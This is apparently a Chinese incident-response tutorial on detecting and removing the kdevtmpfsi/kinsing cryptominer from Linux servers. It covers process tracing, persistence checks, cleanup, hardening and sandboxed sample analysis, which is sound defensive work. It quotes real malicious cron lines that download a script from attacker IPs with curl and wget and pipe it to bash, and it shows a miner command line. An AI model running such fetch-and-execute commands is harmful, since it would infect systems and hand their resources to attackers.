Linux服务器CPU飙高排查:kdevtmpfsi挖矿病毒清除与系统加固实战

📅 2026/7/22 3:25:38 ✍️ 编辑团队 👁️ 阅读次数
Linux服务器CPU飙高排查:kdevtmpfsi挖矿病毒清除与系统加固实战
1. 项目概述当服务器CPU突然“发高烧”如果你是一名运维工程师或者自己管理着几台Linux服务器那么“CPU使用率100%”这个警报绝对能让你心头一紧。这感觉就像半夜接到电话说家里的水管爆了——你必须立刻、马上、毫不犹豫地去处理。CPU飙高轻则导致应用响应缓慢用户体验暴跌重则可能耗尽系统资源引发服务雪崩甚至数据丢失。最近几年一个让无数运维人头疼的“不速之客”频繁出现它就是kdevtmpfsi。这可不是什么正经的系统进程而是一个臭名昭著的挖矿病毒。它的目标很明确悄无声息地潜入你的服务器然后疯狂消耗CPU和GPU资源为攻击者“挖矿”通常是门罗币等加密货币牟利。你的服务器就这样成了别人免费的“矿机”电费你出算力别人拿。更棘手的是kdevtmpfsi病毒往往不是单打独斗。它通常与一个叫kinsing的守护进程成对出现kinsing负责保护kdevtmpfsi防止它被杀死并且会尝试清除竞争对手其他挖矿病毒和某些安全工具。它们还具备自我更新、横向移动感染内网其他机器、清除日志等能力俨然一个完整的“黑产军团”。所以当你发现服务器CPU异常飙高用top或htop命令看到一个陌生的kdevtmpfsi进程独占鳌头时别慌。这篇文章就是为你准备的实战手册。我将手把手带你走完从“发现异常”到“彻底清除”的全过程并深入分析其运作原理最后还会提供关键的病毒样本供你分析研究。我们的目标不仅是“杀掉”进程更是要“斩草除根”找到入侵根源加固系统防止再次感染。2. 核心思路从症状到根源的立体排查处理安全事件最忌讳的就是头痛医头、脚痛医脚。看到一个高CPU进程就直接kill -9往往治标不治本病毒很快又会卷土重来。一个专业的排查思路应该是立体化的遵循“观察现象 - 定位进程 - 分析关联 - 清除残留 - 溯源加固”的流程。2.1 为什么是立体排查因为现代恶意软件尤其是挖矿病毒已经进化得非常“狡猾”。它们通常会采用以下一种或多种手段来隐藏和维持自身进程伪装使用kdevtmpfsi、kinsing这类看起来像内核线程或系统进程的名字。守护与互保主进程 (kdevtmpfsi) 负责挖矿计算守护进程 (kinsing) 负责监控主进程状态一旦主进程被终止守护进程会立即将其重启。文件隐藏将病毒本体放在/tmp、/dev/shm等临时目录或者使用隐藏属性、奇怪的文件名。定时任务持久化在crontab中写入定时任务定期从远程服务器下载病毒脚本或重启病毒进程确保服务器重启后病毒依然能复活。SSH密钥后门在~/.ssh/authorized_keys文件中添加攻击者的公钥方便其随时免密登录。清除竞争对手与防御会尝试停止其他挖矿进程、阿里云/腾讯云等云厂商的安全监控进程甚至卸载安全软件。因此我们的排查必须像侦探破案一样不放过任何蛛丝马迹。核心思路可以概括为以下四步精准定位快速找到消耗资源的元凶进程及其相关文件。关联挖掘顺藤摸瓜找出与该进程相关的所有守护进程、定时任务、网络连接、启动项等。彻底清除在断开网络的前提下一次性清理所有病毒文件、进程、定时任务和启动项。漏洞溯源分析系统日志、检查可疑用户和授权找到病毒入侵的突破口并修复。2.2 工具准备与操作原则在开始动手前有几点原则必须牢记原则一先取证后清理。在杀死进程前尽量先收集信息如进程PID、文件路径、网络连接等这有助于后续分析和溯源。原则二断网操作。如果条件允许最好将受感染服务器进行网络隔离拔掉网线或配置安全组拒绝所有外联防止病毒在清除过程中与C2服务器通信或感染内网其他机器。原则三使用绝对路径。系统命令可能被病毒替换或通过LD_PRELOAD劫持。尽量使用/bin/ps、/usr/bin/top这样的绝对路径来执行命令或者使用busybox这类静态编译的工具。原则四备份关键信息。清理前备份/etc/crontab、/var/spool/cron/、~/.ssh/authorized_keys等可能被篡改的文件以便对比和审计。接下来我们就进入实战环节。3. 实战排查定位病毒与关联分析假设你现在登录到一台CPU使用率异常的Linux服务器以CentOS 7为例我们开始一步步排查。3.1 第一步快速定位高CPU进程首先使用top命令查看系统整体资源使用情况和进程列表。按Shift P可以按CPU使用率排序。top -c在输出中你可能会看到类似下面的行PID USER PR NI VIRT RES SHR S %CPU %MEM TIME COMMAND 12345 root 20 0 123456 78900 1234 R 99.6 0.9 100:30.67 /tmp/kdevtmpfsi --donate-level 1 -o pool.minexmr.com:4444 -u 4Asd...Fgh -p x --cpu-max-threads-hint 50关键信息解读PID 12345病毒进程的ID。USER root进程以root权限运行危害极大。%CPU 99.6几乎吃满了一个核心。COMMAND /tmp/kdevtmpfsi ...这是进程的完整命令行。清晰显示了病毒文件路径在/tmp下并且连接到了矿池pool.minexmr.com:4444后面是钱包地址和参数。注意有些变种会隐藏命令行top中只显示kdevtmpfsi。这时需要借助其他命令查看完整路径。除了tophtop如果已安装界面更友好。也可以用ps命令精确定位ps aux | grep -i kdevtmpfsi ps aux | grep -i kinsing3.2 第二步深入分析进程详情获取到PID例如12345后我们可以深入查看这个进程的更多细节。查看进程打开的文件ls -la /proc/12345/exe这会显示进程执行文件的真实路径。有时/tmp/kdevtmpfsi可能是一个软链接这个命令可以找到实际位置。ls -la /proc/12345/cwd查看进程的当前工作目录。查看进程的网络连接 挖矿进程必须连接矿池。使用netstat或ss命令查看。netstat -antp | grep 12345 # 或 ss -antp | grep 12345你可能会看到它正在连接一个外部IP的4444端口或其他高端口。记下这个远程IP和端口虽然通常是公共矿池但也可以作为威胁情报的一部分。3.3 第三步挖掘关联进程与守护者单纯的kdevtmpfsi进程很容易被杀死。难点在于它的“保镖”——kinsing。我们需要找到并一并处理。查找kinsing进程ps aux | grep -i kinsing查找可能的父进程或子进程pstree -p 12345 # 查看进程树看谁启动了kdevtmpfsi ps -ef --forest | grep -A5 -B5 kdevtmpfsi # 查看上下文进程很多时候kinsing是kdevtmpfsi的父进程或者两者是兄弟进程由另一个脚本如/tmp/kinsing或/var/tmp/kinsing创建。检查系统负载和所有可疑进程# 查看所有非root用户运行的进程挖矿病毒有时会用普通用户运行 ps aux | grep -v root # 查看占用CPU前10的进程 ps aux --sort-%cpu | head -103.4 第四步检查持久化机制关键这是清除病毒是否彻底的关键。病毒为了在重启后复活一定会设置持久化。1. 检查系统定时任务Cron# 检查系统级定时任务 cat /etc/crontab ls -la /etc/cron.d/ /etc/cron.hourly/ /etc/cron.daily/ etc. # 检查所有用户的cron任务重点 for user in $(cut -f1 -d: /etc/passwd); do echo Crontab for $user ; crontab -l -u $user 2/dev/null; done重点关注在cron任务里寻找包含curl、wget、bash下载并执行sh脚本的命令行其URL通常是http://ip:port/kinsing或类似地址。例如*/10 * * * * curl -s http://185.243.112.123/kinsing | bash -s */15 * * * * wget -q -O- http://45.9.148.35/chimaera.sh | sh2. 检查系统服务 (Systemd/SysVinit)# Systemd 系统 systemctl list-unit-files --typeservice | grep enabled systemctl list-units --typeservice --staterunning # 查找名称奇怪的服务 systemctl list-unit-files | grep -E (kinsing|kdevtmpfsi|\.service) ls -la /etc/systemd/system/ /usr/lib/systemd/system/ | grep -iE (kins|kdev) # SysVinit 系统 chkconfig --list ls -la /etc/init.d/3. 检查开机启动项# 检查rc.local cat /etc/rc.local # 检查profile和bashrc针对所有用户或特定用户 cat /etc/profile cat /etc/bashrc cat ~/.bashrc cat ~/.bash_profile4. 检查SSH授权密钥后门# 检查root用户 cat /root/.ssh/authorized_keys # 检查其他有登录权限的用户 find /home -name authorized_keys -type f 2/dev/null cat /home/*/.ssh/authorized_keys 2/dev/null仔细核对里面的公钥是否混入了你不认识的密钥。3.5 第五步定位病毒文件通过进程信息我们已经知道一个路径如/tmp/kdevtmpfsi但病毒文件可能不止一个。根据进程PID查找# 列出该进程打开的所有文件 ls -la /proc/12345/fd/ # 使用lsof命令 lsof -p 12345在常见临时目录搜索find /tmp -name *kdevtmpfsi* -o -name *kinsing* 2/dev/null find /var/tmp -name *kdevtmpfsi* -o -name *kinsing* 2/dev/null find /dev/shm -name *kdevtmpfsi* -o -name *kinsing* 2/dev/null全盘搜索耗时可在断网后做find / -type f \( -name *kdevtmpfsi* -o -name *kinsing* \) 2/dev/null | grep -v /proc | grep -v /sys4. 彻底清除斩草除根操作指南在完成所有信息收集后我们就可以开始清理了。务必按照以下顺序操作并建议先在测试环境模拟或对关键文件进行备份。4.1 第一步断开网络连接可选但推荐防止清除过程中病毒下载新变种或感染其他机器。# 方法1使用iptables丢弃所有出站流量谨慎 iptables -P OUTPUT DROP # 清除完成后记得恢复 # iptables -P OUTPUT ACCEPT # 方法2更安全在云控制台修改安全组只允许你自己的IP SSH连接。4.2 第二步停止并杀死病毒进程先杀守护进程 (kinsing)再杀主进程 (kdevtmpfsi)。# 找到所有相关PID ps aux | grep -E ‘(kdevtmpfsi|kinsing)’ | grep -v grep | awk ‘{print $2}‘ # 假设找到的PID是 12345 (kdevtmpfsi) 和 11111 (kinsing) kill -9 11111 12345 # 再次确认进程是否被杀死 ps aux | grep -E ‘(kdevtmpfsi|kinsing)’ | grep -v grep如果进程反复出现说明有守护机制或定时任务在快速重启它。这时需要进入下一步先清理持久化项。4.3 第三步清理持久化项目最关键的一步1. 清理Crontab定时任务# 编辑root的crontab crontab -e -u root # 在打开的编辑器中删除所有可疑的行例如包含curl/wget到奇怪URL的行保存退出。 # 或者直接清空如果确认只有病毒任务 crontab -r -u root # 检查并清理系统cron目录 rm -f /etc/cron.d/*kinsing* /etc/cron.d/*kdevtmpfsi* 2/dev/null rm -f /etc/cron.hourly/*kinsing* /etc/cron.hourly/*kdevtmpfsi* 2/dev/null # ... 检查其他cron.*目录重要一定要检查所有用户的crontab而不仅仅是root。使用前面提到的for user in $(cut -f1 -d: /etc/passwd); do crontab -l -u $user 2/dev/null; done命令查看并逐一清理。2. 清理Systemd服务如果存在# 停止并禁用服务 systemctl stop kinsing_service_name 2/dev/null systemctl disable kinsing_service_name 2/dev/null # 删除服务文件 rm -f /etc/systemd/system/kinsing.service /usr/lib/systemd/system/kinsing.service 2/dev/null # 重载systemd配置 systemctl daemon-reload3. 清理其他启动项# 检查并清理rc.local sed -i ‘/kinsing\|kdevtmpfsi/d’ /etc/rc.local # 检查并清理profile等 sed -i ‘/kinsing\|kdevtmpfsi/d’ /etc/profile sed -i ‘/kinsing\|kdevtmpfsi/d’ /etc/bashrc # 检查所有用户的.bashrc等 find /home -name “.bashrc” -o -name “.bash_profile” -o -name “.profile” | xargs sed -i ‘/kinsing\|kdevtmpfsi/d’ 2/dev/null4. 清理SSH授权密钥后门# 备份原文件 cp /root/.ssh/authorized_keys /root/.ssh/authorized_keys.bak # 编辑文件只保留你认识的公钥 vim /root/.ssh/authorized_keys # 同样检查/home目录下的用户4.4 第四步删除病毒文件现在可以安全地删除病毒本体了。# 删除我们之前找到的文件 rm -f /tmp/kdevtmpfsi /tmp/kinsing rm -f /var/tmp/kdevtmpfsi /var/tmp/kinsing rm -f /dev/shm/kdevtmpfsi /dev/shm/kinsing # 使用find命令再次全盘搜索并删除谨慎操作 find / -type f \( -name “*kdevtmpfsi*” -o -name “*kinsing*” \) 2/dev/null | grep -v /proc | xargs rm -f 2/dev/null警告find ... | xargs rm -f命令威力巨大务必先不加xargs rm -f只用find查看确认要删除的文件列表无误后再执行删除。4.5 第五步检查并清理可能存在的其他恶意文件病毒可能会下载或生成其他工具如扫描器、爆破工具等。# 检查最近被修改的可执行文件 find / -type f -perm /111 -mtime -7 2/dev/null | grep -v /proc | grep -v /sys # 检查/tmp、/var/tmp目录下所有文件 ls -la /tmp/ /var/tmp/ # 检查是否有可疑的隐藏文件以.开头的文件 ls -la /tmp/.* /var/tmp/.* 2/dev/null4.6 第六步恢复网络并验证完成所有清理后恢复网络连接。iptables -P OUTPUT ACCEPT然后监控系统状态确认CPU使用率已恢复正常。top -c htop等待几分钟再次检查相关进程是否复现。ps aux | grep -E ‘(kdevtmpfsi|kinsing)’ | grep -v grep如果一切正常恭喜你病毒已被暂时清除。5. 入侵溯源与系统加固清除病毒只是第一步如果不找到漏洞根源并加固服务器很可能再次被入侵。攻击者常用的入口点包括5.1 常见入侵途径分析弱口令爆破尤其是Redis、MySQL、SSH、Tomcat等服务的弱密码或空密码。未授权访问漏洞如Redis未绑定IP或未设置密码暴露在公网导致攻击者可直接写入计划任务。软件漏洞如Web应用框架ThinkPHP, Spring、组件Fastjson, Log4j2的远程代码执行漏洞。供应链攻击使用了被植入后门的第三方软件或镜像。5.2 溯源检查点1. 检查系统日志# 查看认证日志看是否有大量失败的SSH登录尝试 grep “Failed password” /var/log/secure | head -20 grep “Accepted password” /var/log/secure | tail -20 # 查看成功登录记录 # 查看最近有哪些用户登录过 last # 查看命令历史但高级攻击者会清空 history2. 检查可疑用户和权限# 检查/etc/passwd看是否有新增的陌生用户 cat /etc/passwd # 检查具有sudo权限的用户 cat /etc/sudoers ls -la /etc/sudoers.d/ # 检查UID为0的用户除了root awk -F: ‘$30 {print $1}’ /etc/passwd3. 检查网络连接历史# 查看历史网络连接如果有安装sysstat sar -n DEV 1 1 # 或者查看历史连接可能被清除 netstat -antp 2/dev/null | grep ESTABLISHED4. 重点检查Redis、Docker等Redis检查是否监听在0.0.0.0是否设置了密码config get dir和config get dbfilename是否被修改。Docker检查是否有未授权的2375端口暴露或者运行了来源不明的镜像。5.3 系统加固建议修改所有弱密码为所有系统用户、数据库、中间件设置高强度密码。禁用SSH密码登录改用密钥对# 编辑 /etc/ssh/sshd_config PasswordAuthentication no PubkeyAuthentication yes配置防火墙仅开放必要的端口对公网屏蔽Redis6379、Docker API2375等高危端口。及时更新系统和软件yum update或apt update apt upgrade。使用最小权限原则应用程序不要以root身份运行。部署入侵检测与监控如配置fail2ban防爆破使用auditd监控关键文件变化部署云主机安全Agent。定期审计与备份定期检查计划任务、系统服务、启动项并做好重要数据备份。6. 病毒样本分析与技术原理附样本下载为了更深入地理解对手安全研究人员或运维人员可以分析病毒样本。请注意分析样本务必在隔离的虚拟机或沙箱环境中进行切勿在生产环境或联网的主机上运行6.1 样本获取与初步分析kdevtmpfsi和kinsing的样本在威胁情报社区已有大量共享。你可以从VirusTotal等平台搜索相关哈希值下载或者从你的受感染服务器上获取在删除前复制一份到隔离环境。样本特征kdevtmpfsi通常是ELF可执行文件可能是32位或64位经过UPX等工具加壳。其核心功能是XMRig等开源矿工的变种连接指定的矿池进行门罗币挖矿。kinsing同样是一个ELF可执行文件功能更复杂。它可能是一个Go语言编译的程序负责守护kdevtmpfsi进程。从C2服务器下载更新。扫描并杀死其他挖矿进程如xmrig、systemd等。尝试卸载阿里云盾AliYunDun、腾讯云镜等安全软件。清除系统日志 (/var/log/secure,/var/log/messages等)。通过SSH密钥、Docker API、Redis未授权访问等方式横向传播。6.2 使用基础工具进行静态分析在隔离环境中可以使用以下命令进行初步分析# 1. 查看文件类型和基本信息 file kinsing # 输出可能为kinsing: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, stripped # 2. 查看字符串信息寻找线索如C2地址、命令 strings kinsing | head -100 strings kinsing | grep -E ‘(http|curl|wget|bash|sh|chmod|chattr|iptables|ssh|redis)’ # 3. 检查文件哈希值用于威胁情报比对 md5sum kinsing sha256sum kinsing # 4. 查看文件权限和属性 ls -la kinsing通过strings命令你可能会发现内嵌的脚本、URL、IP地址等这些是分析其行为的关键。6.3 动态行为分析沙箱运行在完全隔离的网络环境如断网的虚拟机中可以运行样本并观察其行为。# 使用strace跟踪系统调用 strace -f -o virus.log ./kinsing # 使用top/htop观察进程创建 # 使用网络抓包工具tcpdump观察外联 tcpdump -i any -w traffic.pcap分析生成的virus.log和traffic.pcap文件可以看到它创建了哪些文件、进程连接了哪些IP和端口。重要声明本文提供分析思路仅供安全研究与学习之用。任何个人或组织不得将病毒样本用于非法攻击活动。传播、使用恶意软件是违法行为。6.4 样本下载仅供研究由于直接提供恶意软件下载链接存在法律和道德风险我强烈建议你通过以下合法途径获取样本进行研究恶意软件分析平台在VirusTotal或MalwareBazaar等网站搜索哈希值如kdevtmpfsi、kinsing的MD5/SHA256即可找到样本并下载。这些平台提供了安全的下载和分析环境。威胁情报报告关注如奇安信、绿盟、微步在线等安全厂商发布的威胁情报报告报告中常会附有样本的哈希值。学术研究数据库如TheZoo项目在遵守其使用协议的前提下可用于恶意软件研究。研究环境务必是物理隔离的虚拟机且所有网络适配器处于“仅主机”或“无网络连接”状态。7. 常见问题与排查技巧实录在实际排查和清除过程中你可能会遇到一些“诡异”的情况。下面是我和同事们踩过的一些坑和总结的技巧。7.1 问题一进程杀不死或者杀死后瞬间复活现象使用kill -9 PID后ps aux立刻又能看到同名进程PID变了。原因这是典型的守护进程在起作用。kinsing监控着kdevtmpfsi一旦发现它没了立刻从内存或磁盘重新拉起一个。或者有一个更隐蔽的定时任务每分钟甚至每秒钟都在检查并启动病毒。解决方案先杀守护进程用pstree或ps -ef --forest找到可能的父进程守护进程先kill -9它。立即清理定时任务在杀死进程的同时或之前另一个终端窗口立刻编辑crontab并删除可疑任务。因为cron每分钟才检查一次你有时间窗口。使用chattr i锁住crontab临时在清理前可以先锁住crontab文件防止被修改但注意这也会阻止你正常编辑。chattr i /etc/crontab chattr i /var/spool/cron/root # 清理完成后解锁 chattr -i /etc/crontab chattr -i /var/spool/cron/root使用systemctl stop cron激进临时停止cron服务但会影响其他正常定时任务。7.2 问题二命令被替换或劫持现象执行ps、top、netstat等命令时看不到病毒进程或网络连接。原因病毒可能替换了系统的ps、top、netstat、ls等命令或者通过LD_PRELOAD环境变量劫持了这些命令的库函数使其过滤掉病毒相关信息。解决方案使用绝对路径/bin/ps aux使用busybox这是一个静态编译的工具集通常不受动态库劫持影响。如果系统没有可以从其他干净机器拷贝一个。busybox ps aux busybox netstat -antp检查命令哈希和路径which ps ls -la /usr/bin/ps md5sum /usr/bin/ps # 与干净系统对比检查LD_PRELOAD环境变量echo $LD_PRELOAD env | grep LD # 如果发现可疑的.so文件在清理时一并删除并清空该环境变量临时或从启动脚本中清除。7.3 问题三文件删除后又出现现象删除了/tmp/kdevtmpfsi文件但过一会儿又出现了。原因有守护进程或脚本在定期从网络下载或者从内存中释放并写入文件。也可能病毒文件有多个副本。解决方案断网操作这是最有效的一步切断下载源。使用lsof | grep deleted查看是否还有进程持有已删除文件的句柄。如果有先杀死那个进程文件才会真正释放。查找所有副本用find命令在全盘除了/proc,/sys搜索所有相关文件名。检查内存文件系统如/dev/shm这里面的文件重启后消失但运行时可能存在。7.4 问题四CPU使用率仍然间歇性很高但找不到明显进程现象top显示总的CPU使用率很高但看每个进程的占用都不高总和对不上。原因可能是短时进程挖矿脚本可能fork后很快退出或者内核模块挖矿更高级。解决方案使用top的批处理模式top -b -n 1输出快照或者用htop查看。使用ps查看所有进程瞬时状态ps auxf或ps -eo pid,ppid,cmd,%cpu,%mem --sort-%cpu使用perf或systemtap进行性能剖析高级perf top检查系统调用使用sar -u 1 3查看CPU在各状态user, system, iowait, idle的分布。怀疑内核模块使用lsmod查看已加载模块检查是否有可疑模块。但这需要较高的专业知识。7.5 预防性检查脚本你可以编写一个简单的定期检查脚本放到crontab中每天运行将结果发送到邮箱。#!/bin/bash # check_miner.sh LOG_FILE“/var/log/miner_check.log” echo “ Miner Check Report at $(date) ” $LOG_FILE # 1. 检查可疑进程 echo “— Suspicious Processes —” $LOG_FILE ps aux | grep -E ‘(kdevtmpfsi|kinsing|xmrig|minerd)’ | grep -v grep $LOG_FILE # 2. 检查可疑网络连接矿池常用端口3333, 4444, 5555, 6666, 7777, 8888, 9999, 14444 echo “— Suspicious Network Connections —” $LOG_FILE netstat -antp | grep -E ‘:(3333|4444|5555|6666|7777|8888|9999|14444)’ $LOG_FILE # 3. 检查root的crontab echo “— Root Crontab —” $LOG_FILE crontab -l -u root 2/dev/null | grep -v “^#” $LOG_FILE # 4. 检查系统负载 echo “— System Load —” $LOG_FILE uptime $LOG_FILE # 发送邮件需要配置好mailx或sendmail # mail -s “Miner Check Report” your-emailexample.com $LOG_FILE将这个脚本设为只读并放在安全位置定期检查日志即可。处理kdevtmpfsi这类挖矿病毒是一场与攻击者斗智斗勇的过程。它考验的不仅是技术命令的熟练度更是系统性的安全思维和排查逻辑。记住核心口诀先断网再取证先杀守护再清持久先治标后治本溯源加固。保持系统的更新遵循最小权限原则配置好防火墙和监控才能让你的服务器在充满威胁的网络中屹立不倒。